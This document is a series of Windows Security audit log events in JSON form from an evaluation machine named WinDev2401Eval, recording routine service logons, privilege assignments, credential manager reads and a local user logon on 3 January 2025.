{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.463811Z"}},"EventRecordID":21385,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.463815Z"}},"EventRecordID":21386,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.526637Z"}},"EventRecordID":21387,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.526637Z"}},"EventRecordID":21388,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.526642Z"}},"EventRecordID":21389,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.526660Z"}},"EventRecordID":21390,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.552948Z"}},"EventRecordID":21391,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.552952Z"}},"EventRecordID":21392,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.569175Z"}},"EventRecordID":21393,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.569342Z"}},"EventRecordID":21394,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.569392Z"}},"EventRecordID":21395,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.572986Z"}},"EventRecordID":21396,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.573081Z"}},"EventRecordID":21397,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:24.573245Z"}},"EventRecordID":21398,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.044549Z"}},"EventRecordID":21399,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.045185Z"}},"EventRecordID":21400,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.046368Z"}},"EventRecordID":21401,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.046398Z"}},"EventRecordID":21402,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4648,"Version":0,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.804422Z"}},"EventRecordID":21403,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","LogonGuid":"00000000-0000-0000-0000-000000000000","TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetLogonGuid":"00000000-0000-0000-0000-000000000000","TargetServerName":"localhost","TargetInfo":"localhost","ProcessId":"0x7ec","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"127.0.0.1","IpPort":"0"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.804432Z"}},"EventRecordID":21404,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetLogonId":"0x5026c","LogonType":2,"LogonProcessName":"User32 ","AuthenticationPackageName":"Negotiate","WorkstationName":"WINDEV2401EVAL","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x7ec","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"127.0.0.1","IpPort":"0","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.804436Z"}},"EventRecordID":21405,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.850594Z"}},"EventRecordID":21406,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x6c0","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.881506Z"}},"EventRecordID":21407,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.881888Z"}},"EventRecordID":21408,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
